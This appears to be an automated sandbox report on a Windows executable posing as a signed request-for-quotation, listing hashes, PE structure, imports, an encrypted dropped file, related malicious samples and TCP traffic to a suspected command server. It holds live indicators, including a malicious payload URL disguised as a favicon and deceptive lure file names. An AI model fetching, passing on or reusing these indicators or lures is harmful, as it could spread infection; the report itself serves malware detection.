162.215.240.160	https://urldefense.proofpoint.com/v2/url?u=http-3A__url3079.bomk.ga_wf_click-3Fupn-3DN7AH3yoU5bJnD0gBhGaFp0-2D2Bqdd8Hth-2D2BSTjGzg5rENFW4-2D2Fd4jPQm-2D2FsX8r7XMa0I-2D2BgHFahx8jhn-2D2BN1NHMQIFXG-2D2F76vjJ2kk48Thq2z9JisR45i7pbUhIPG82qFolGLkiKT0n0H0tICMI2ZW7M-2D2BVYN1fg-2D3D-2D3D-5F5FIH5a2WfWOYFN0xlsqTUCGEd61dkkuZ6x8nluTLrIRcR7ve4rZsJxXjrj-2D2BLt3qbLG1Nk10UNe4Zrvswp4XJtgkupdUvYF4lYuAYFb1cObPcORnhgBttNc7oqANB6wwy6gHG8r1d2wC91xGSfqBztrGIqMvx3p0Ptgg968lvakhbjcIly1R-2D2FzZBr9sS5-2D2FuBnSNUpLpuFhZj2ns-2D2B9e6UD9Q-2D3D-2D3D&d=DwMFAg&c=u6LDEWzohnDQ01ySGnxMzg&r=jX-HT_mKGtiiX162hvYfR3dw0gREzGuibhVydg91LAI&m=e0yBFU_VWxEiwP62AoBKM66YNN2hXuVDEjvHwdYne4w&s=193qOPV0oT84OWLkT0i0C4xJUKZbIFqhfXls66V_Jcc&e=	Get hash	malicious	Browse	rentbuywheelchairinsouthdelhi.com/wp-content/themes/fashion-designer/template-parts/images/favicoon.ico

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
PUBLIC-DOMAIN-REGISTRYUS	PO-3242.xlsx	Get hash	malicious	Browse	208.91.199.223
	MONO Nueva orden - E41140,PDF.exe	Get hash	malicious	Browse	208.91.199.224
	SO230921.exe	Get hash	malicious	Browse	208.91.199.224
	Products prices request.xlsx	Get hash	malicious	Browse	208.91.199.224
	Payment Advice 09-22-2021 SKMBT03783930484080484904003TXT.exe	Get hash	malicious	Browse	208.91.198.143
	from-iso_PSC ___ - E41140,PDF.EXE	Get hash	malicious	Browse	208.91.199.223
	n267kM6LhuZHjzz.exe	Get hash	malicious	Browse	208.91.198.143
	Payment copy.exe	Get hash	malicious	Browse	208.91.199.225
	S7v33zELdY.exe	Get hash	malicious	Browse	208.91.199.224
	Cv4ms60aUz.exe	Get hash	malicious	Browse	208.91.198.143
	VCS7E3uV2V.exe	Get hash	malicious	Browse	208.91.199.223
	INVOICE AWB 9782166...exe	Get hash	malicious	Browse	208.91.199.224
	vRrJhcwAms.exe	Get hash	malicious	Browse	208.91.199.223
	iJjetWi3z5.exe	Get hash	malicious	Browse	208.91.199.224
	iw2crzErP4mvr7r.exe	Get hash	malicious	Browse	208.91.198.143
	pqf0009876545678.exe	Get hash	malicious	Browse	208.91.198.167
	COMTAC LISTA URGENTE ORDEN 92121,pdf.exe	Get hash	malicious	Browse	208.91.199.224
	PRESUPUESTO.xlsx	Get hash	malicious	Browse	208.91.198.143
	k4QKSYxd03.exe	Get hash	malicious	Browse	208.91.198.143
	Payment Advice for order 19203-319203-4.exe	Get hash	malicious	Browse	208.91.199.225

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
37f463bf4616ecd445d4a1937da06e19	CxarNMwOrM.exe	Get hash	malicious	Browse	162.215.240.160
	ZamCfP5Dev.exe	Get hash	malicious	Browse	162.215.240.160
	rfuXvlBuYJ.exe	Get hash	malicious	Browse	162.215.240.160
	Teric4r3o5.exe	Get hash	malicious	Browse	162.215.240.160
	G3QpUGAM0L.exe	Get hash	malicious	Browse	162.215.240.160
	Orden de compra.exe	Get hash	malicious	Browse	162.215.240.160
	Astra SpreedSheet Review.html	Get hash	malicious	Browse	162.215.240.160
	SecuriteInfo.com.Win64.BazarLoader.BE.17446.dll	Get hash	malicious	Browse	162.215.240.160
	NF2HIzjeKr.exe	Get hash	malicious	Browse	162.215.240.160
	y9O88YOo8k.exe	Get hash	malicious	Browse	162.215.240.160
	9CyiHj7D0G.exe	Get hash	malicious	Browse	162.215.240.160
	2v95Xa7bqN.exe	Get hash	malicious	Browse	162.215.240.160
	lN9V0yyxkc.exe	Get hash	malicious	Browse	162.215.240.160
	W6POpl68MP.exe	Get hash	malicious	Browse	162.215.240.160
	FILM.exe	Get hash	malicious	Browse	162.215.240.160
	atvm.htm	Get hash	malicious	Browse	162.215.240.160
	5dQit72En0.exe	Get hash	malicious	Browse	162.215.240.160
	Fax010-msaiz-SwiftMT109-INV.html	Get hash	malicious	Browse	162.215.240.160
	fotos de muestras de productos pdf.exe	Get hash	malicious	Browse	162.215.240.160
	qXf7bVIXNA.exe	Get hash	malicious	Browse	162.215.240.160

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\0W10PBUV\Uhubvlhwjlopolbbrwsjxlbmrbynkke[1] Download File
Process:	C:\Users\user\Desktop\Request_For_Quotation#234242_signed_copy_document_september_rfq.exe
File Type:	data
Category:	dropped
Size (bytes):	561152
Entropy (8bit):	7.99471920942279
Encrypted:	true
SSDEEP:	12288:Mvk35fUlj9/UcPJPwivbx5DRS/pYD/MzPDUvg+qEu4F:Mvk1qanoF5DHEzPDUvLqJ4F
MD5:	94C469B89390E8BFF9F7C613CBF416CA
SHA1:	99F098CA71EE5029F01C144DB8A81277F5EA8138
SHA-256:	58EC31F24587CC43AC633AC95DC325F2BE69519F9C87280A0F36634E40486C7D
SHA-512:	856F0A099A33A313591970E684CDCADAE08FF88A834566E0D2F53226B958ABA5B52B02CC82EE8EC31AEF4E27CC17F519E315E8077BA66C77494D5049000A5BCD
Malicious:	false
Reputation:	low
Preview:	..VS....%dk..O8....`o..,..;.B...0.~-{...9....;..9....;..L.5...........TI&...lc.P....-\|.F..$.XW......./..k.=.......A.:.9.....N..3~3x......,..q./w.... ...........TI&...lc.P....-\|.F..$.XW......./..k.=.......A.:.9.....N..3~3x......,..q./w.... ...........TI&...lc.P....j0........y.m.q..vQ.tMy.S.pEfn@..e..~c..h3>.pD...o..i._.+)))(...d+-rIO\|_.)))).Eg.pEf/6..@.N.m..U.....8..q.F....\...` ./7H.S.~Cb'%"....&...].k..k.l./e....2...P.../n.[..#O.....&.!@..rfz..=pt}.K..3[..0..1i. ..u......H.7......%O,.?=:..:.y....[.2.8..u.N.a...2.?i.."..zp .%x....~0.P...$.......w.5,.%.....\2..T_.].4.B..!K...XG2.e.>....v'w...S..K+z...G..t..R..wlYv3.ln..`@&..is..@h..?....FX..^...%.."&.!.u\|.U...PFOj.V.]d..o...r...x..O..O.......0*$..2.($...e!....\|b..jx.....J.}.U.\...DhM....e{.`...t..pb.....t5;.P..{Dm.>...>j.B\..S7...'...$..I.[;..S3.9..6w..NT...8f.%.M..0..l..CLE.:`...oz.R..8x.m.c....H_.$ ;...]#.`..NHT..k.g.JE.O..^......G.j.@b.....!.........]#.`.-...~.....t.](..Y9..:b.:b

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.728209071784135
TrID:	Win32 Executable (generic) a (10002005/4) 99.81% Windows Screen Saver (13104/52) 0.13% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02%
File name:	Request_For_Quotation#234242_signed_copy_document_september_rfq.exe
File size:	829440
MD5:	c1930047f21a89ddfba5a2e2db2d5485
SHA1:	f7013b3e2a9ee04c2dc392ee50624b76fce4bb86
SHA256:	a1b21077e09e0021aeabaea974f7a304f3b5f89b34bd19eb9045a67451f63f79
SHA512:	c9bdc9d2ce97c6a40ac40b231ddadca18081f0bc2225ab7cf5fc891360eac06f7123ded2260417e69db92254056c161f51acc11de5d667deebec9d676460521f
SSDEEP:	12288:b71aIFXG0LBXveSLxZrJuGmxXQUTcQvPPRK1mQgMM4/YGu1q:bs6RL9veYLrJlIrTtnAAHGE
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	e4dcd8c4d4d4c4d4

Static PE Info

General
Entrypoint:	0x46d9cc
Entrypoint Section:	.itext
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, BYTES_REVERSED_LO, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	206016043cadf3442135e07afc507bba

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 0046C100h
call 00007F48B4890E2Dh
mov eax, dword ptr [004BC9BCh]
mov eax, dword ptr [eax]
call 00007F48B48E0749h
mov ecx, dword ptr [004BCAE0h]
mov eax, dword ptr [004BC9BCh]
mov eax, dword ptr [eax]
mov edx, dword ptr [00458BA0h]
call 00007F48B48E0749h
mov ecx, dword ptr [004BC894h]
mov eax, dword ptr [004BC9BCh]
mov eax, dword ptr [eax]
mov edx, dword ptr [00458970h]
call 00007F48B48E0731h
mov eax, dword ptr [004BC9BCh]
mov eax, dword ptr [eax]
call 00007F48B48E07A5h
call 00007F48B488EEECh
lea eax, dword ptr [eax+00h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xc1000	0x26ac	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xcd000	0x6800	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xc6000	0x65c0	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xc5000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xc1720	0x608	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6b2e8	0x6b400	False	0.53413871285	data	6.5659914736	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.itext	0x6d000	0xa2c	0xc00	False	0.538411458333	data	5.71292206288	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x6e000	0x4eb40	0x4ec00	False	0.234561011905	data	5.69531340379	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.bss	0xbd000	0x3878	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.idata	0xc1000	0x26ac	0x2800	False	0.312109375	data	5.09371109096	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.tls	0xc4000	0x34	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rdata	0xc5000	0x18	0x200	False	0.05078125	data	0.210826267787	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xc6000	0x65c0	0x6600	False	0.633693321078	data	6.66747621228	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.rsrc	0xcd000	0x6800	0x6800	False	0.312274639423	data	4.85858360808	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_CURSOR	0xcd9ac	0x134	data	English	United States
RT_CURSOR	0xcdae0	0x134	data	English	United States
RT_CURSOR	0xcdc14	0x134	data	English	United States
RT_CURSOR	0xcdd48	0x134	data	English	United States
RT_CURSOR	0xcde7c	0x134	data	English	United States
RT_CURSOR	0xcdfb0	0x134	data	English	United States
RT_CURSOR	0xce0e4	0x134	data	English	United States
RT_BITMAP	0xce218	0x1d0	data	English	United States
RT_BITMAP	0xce3e8	0x1e4	data	English	United States
RT_BITMAP	0xce5cc	0x1d0	data	English	United States
RT_BITMAP	0xce79c	0x1d0	data	English	United States
RT_BITMAP	0xce96c	0x1d0	data	English	United States
RT_BITMAP	0xceb3c	0x1d0	data	English	United States
RT_BITMAP	0xced0c	0x1d0	data	English	United States
RT_BITMAP	0xceedc	0x1d0	data	English	United States
RT_BITMAP	0xcf0ac	0x1d0	data	English	United States
RT_BITMAP	0xcf27c	0x1d0	data	English	United States
RT_ICON	0xcf44c	0x468	GLS_BINARY_LSB_FIRST	English	United States
RT_ICON	0xcf8b4	0x988	data	English	United States
RT_ICON	0xd023c	0x10a8	data	English	United States
RT_STRING	0xd12e4	0x174	data
RT_STRING	0xd1458	0x1c8	data
RT_STRING	0xd1620	0xcc	data
RT_STRING	0xd16ec	0x114	data
RT_STRING	0xd1800	0x350	data
RT_STRING	0xd1b50	0x3a4	data
RT_STRING	0xd1ef4	0x370	data
RT_STRING	0xd2264	0x3cc	data
RT_STRING	0xd2630	0x214	data
RT_STRING	0xd2844	0xcc	data
RT_STRING	0xd2910	0x194	data
RT_STRING	0xd2aa4	0x3c4	data
RT_STRING	0xd2e68	0x338	data
RT_STRING	0xd31a0	0x294	data
RT_RCDATA	0xd3434	0x10	data
RT_RCDATA	0xd3444	0x25c	data
RT_GROUP_CURSOR	0xd36a0	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States
RT_GROUP_CURSOR	0xd36b4	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States
RT_GROUP_CURSOR	0xd36c8	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States
RT_GROUP_CURSOR	0xd36dc	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States
RT_GROUP_CURSOR	0xd36f0	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States
RT_GROUP_CURSOR	0xd3704	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States
RT_GROUP_CURSOR	0xd3718	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States
RT_GROUP_ICON	0xd372c	0x30	data	English	United States

Imports

DLL	Import
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
user32.dll	GetKeyboardType, DestroyWindow, LoadStringA, MessageBoxA, CharNextA
kernel32.dll	GetACP, Sleep, VirtualFree, VirtualAlloc, GetCurrentThreadId, InterlockedDecrement, InterlockedIncrement, VirtualQuery, WideCharToMultiByte, MultiByteToWideChar, lstrlenA, lstrcpynA, LoadLibraryExA, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLastError, GetCommandLineA, FreeLibrary, FindFirstFileA, FindClose, ExitProcess, CompareStringA, WriteFile, UnhandledExceptionFilter, SetFilePointer, SetEndOfFile, RtlUnwind, ReadFile, RaiseException, GetStdHandle, GetFileSize, GetFileType, CreateFileA, CloseHandle
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
user32.dll	CreateWindowExA, WindowFromPoint, WaitMessage, UpdateWindow, UnregisterClassA, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, SystemParametersInfoA, ShowWindow, ShowScrollBar, ShowOwnedPopups, SetWindowsHookExA, SetWindowPos, SetWindowPlacement, SetWindowLongW, SetWindowLongA, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRect, SetPropA, SetParent, SetMenuItemInfoA, SetMenu, SetForegroundWindow, SetFocus, SetCursor, SetClassLongA, SetCapture, SetActiveWindow, SendMessageW, SendMessageA, ScrollWindow, ScreenToClient, RemovePropA, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageA, RegisterClipboardFormatA, RegisterClassA, RedrawWindow, PtInRect, PostQuitMessage, PostMessageA, PeekMessageW, PeekMessageA, OffsetRect, OemToCharA, MessageBoxA, MapWindowPoints, MapVirtualKeyA, LoadStringA, LoadKeyboardLayoutA, LoadIconA, LoadCursorA, LoadBitmapA, KillTimer, IsZoomed, IsWindowVisible, IsWindowUnicode, IsWindowEnabled, IsWindow, IsRectEmpty, IsIconic, IsDialogMessageW, IsDialogMessageA, IsChild, InvalidateRect, IntersectRect, InsertMenuItemA, InsertMenuA, InflateRect, GetWindowThreadProcessId, GetWindowTextA, GetWindowRect, GetWindowPlacement, GetWindowLongW, GetWindowLongA, GetWindowDC, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetPropA, GetParent, GetWindow, GetMessagePos, GetMenuStringA, GetMenuState, GetMenuItemInfoA, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutNameA, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextA, GetIconInfo, GetForegroundWindow, GetFocus, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClipboardData, GetClientRect, GetClassLongA, GetClassInfoA, GetCapture, GetActiveWindow, FrameRect, FindWindowA, FillRect, EqualRect, EnumWindows, EnumThreadWindows, EnumChildWindows, EndPaint, EnableWindow, EnableScrollBar, EnableMenuItem, DrawTextA, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawEdge, DispatchMessageW, DispatchMessageA, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DeleteMenu, DefWindowProcA, DefMDIChildProcA, DefFrameProcA, CreatePopupMenu, CreateMenu, CreateIcon, ClientToScreen, CheckMenuItem, CallWindowProcA, CallNextHookEx, BeginPaint, CharNextA, CharLowerBuffA, CharLowerA, CharToOemA, AdjustWindowRectEx, ActivateKeyboardLayout
gdi32.dll	UnrealizeObject, StretchBlt, SetWindowOrgEx, SetWinMetaFileBits, SetViewportOrgEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetEnhMetaFileBits, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SelectPalette, SelectObject, SaveDC, RestoreDC, Rectangle, RectVisible, RealizePalette, Polyline, PlayEnhMetaFile, PatBlt, MoveToEx, MaskBlt, LineTo, IntersectClipRect, GetWindowOrgEx, GetWinMetaFileBits, GetTextMetricsA, GetTextExtentPoint32A, GetSystemPaletteEntries, GetStockObject, GetRgnBox, GetPixel, GetPaletteEntries, GetObjectA, GetEnhMetaFilePaletteEntries, GetEnhMetaFileHeader, GetEnhMetaFileBits, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEx, GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBitmapBits, GdiFlush, ExcludeClipRect, DeleteObject, DeleteEnhMetaFile, DeleteDC, CreateSolidBrush, CreatePenIndirect, CreatePalette, CreateHalftonePalette, CreateFontIndirectA, CreateDIBitmap, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, CopyEnhMetaFileA, BitBlt
version.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA
kernel32.dll	lstrcpyA, WriteFile, WaitForSingleObject, VirtualQuery, VirtualProtect, VirtualAlloc, SizeofResource, SetThreadLocale, SetFilePointer, SetEvent, SetErrorMode, SetEndOfFile, ResetEvent, ReadFile, MulDiv, LockResource, LoadResource, LoadLibraryA, LeaveCriticalSection, InitializeCriticalSection, GlobalFindAtomA, GlobalDeleteAtom, GlobalAddAtomA, GetVersionExA, GetVersion, GetTickCount, GetThreadLocale, GetStdHandle, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLocalTime, GetLastError, GetFullPathNameA, GetDiskFreeSpaceA, GetDateFormatA, GetCurrentThreadId, GetCurrentProcessId, GetCPInfo, FreeResource, InterlockedExchange, FreeLibrary, FormatMessageA, FindResourceA, EnumCalendarInfoA, EnterCriticalSection, DeleteCriticalSection, CreateThread, CreateFileA, CreateEventA, CompareStringA, CloseHandle
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegFlushKey, RegCloseKey
kernel32.dll	Sleep
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopy, VariantClear, VariantInit
comctl32.dll	_TrackMouseEvent, ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_DragShowNolock, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Remove, ImageList_DrawEx, ImageList_Draw, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_Add, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 24, 2021 07:56:40.144885063 CEST	49742	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:40.144936085 CEST	443	49742	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:40.145138025 CEST	49742	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:40.165683985 CEST	49742	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:40.165716887 CEST	443	49742	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:40.490586996 CEST	443	49742	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:40.490875959 CEST	49742	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:40.728445053 CEST	49742	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:40.728482008 CEST	443	49742	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:40.728836060 CEST	443	49742	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:40.728905916 CEST	49742	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:40.731631041 CEST	49742	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:40.775136948 CEST	443	49742	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:40.890198946 CEST	443	49742	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:40.890240908 CEST	443	49742	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:40.890326023 CEST	49742	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:40.890377998 CEST	443	49742	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:40.890408039 CEST	49742	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:40.890449047 CEST	49742	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:40.892163992 CEST	49742	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:40.892204046 CEST	49742	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:40.937731028 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:40.937779903 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:40.937864065 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:40.938541889 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:40.938561916 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:41.257783890 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:41.257909060 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:41.258411884 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:41.258433104 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:41.263541937 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:41.263557911 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:41.582905054 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:41.582942009 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:41.583107948 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:41.583136082 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:41.583168983 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:41.583192110 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:41.725286007 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:41.725313902 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:41.725430965 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:41.725450993 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:41.725480080 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:41.725531101 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:41.799576998 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:41.799607992 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:41.800009966 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:41.800029993 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:41.800147057 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:41.878329992 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:41.878427982 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:41.878576040 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:41.878604889 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:41.878624916 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:41.878703117 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:41.878791094 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:41.893089056 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:41.893116951 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:41.893214941 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:41.893240929 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:41.893256903 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:41.893297911 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.023364067 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.023397923 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.023478031 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.023520947 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.023541927 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.023545980 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.023571968 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.023586988 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.023605108 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.023658991 CEST	49743	443	192.168.2.3	162.215.240.160
Sep 24, 2021 07:56:42.025252104 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.025284052 CEST	443	49743	162.215.240.160	192.168.2.3
Sep 24, 2021 07:56:42.025338888 CEST	49743	443	192.168.2.3	162.215.240.160
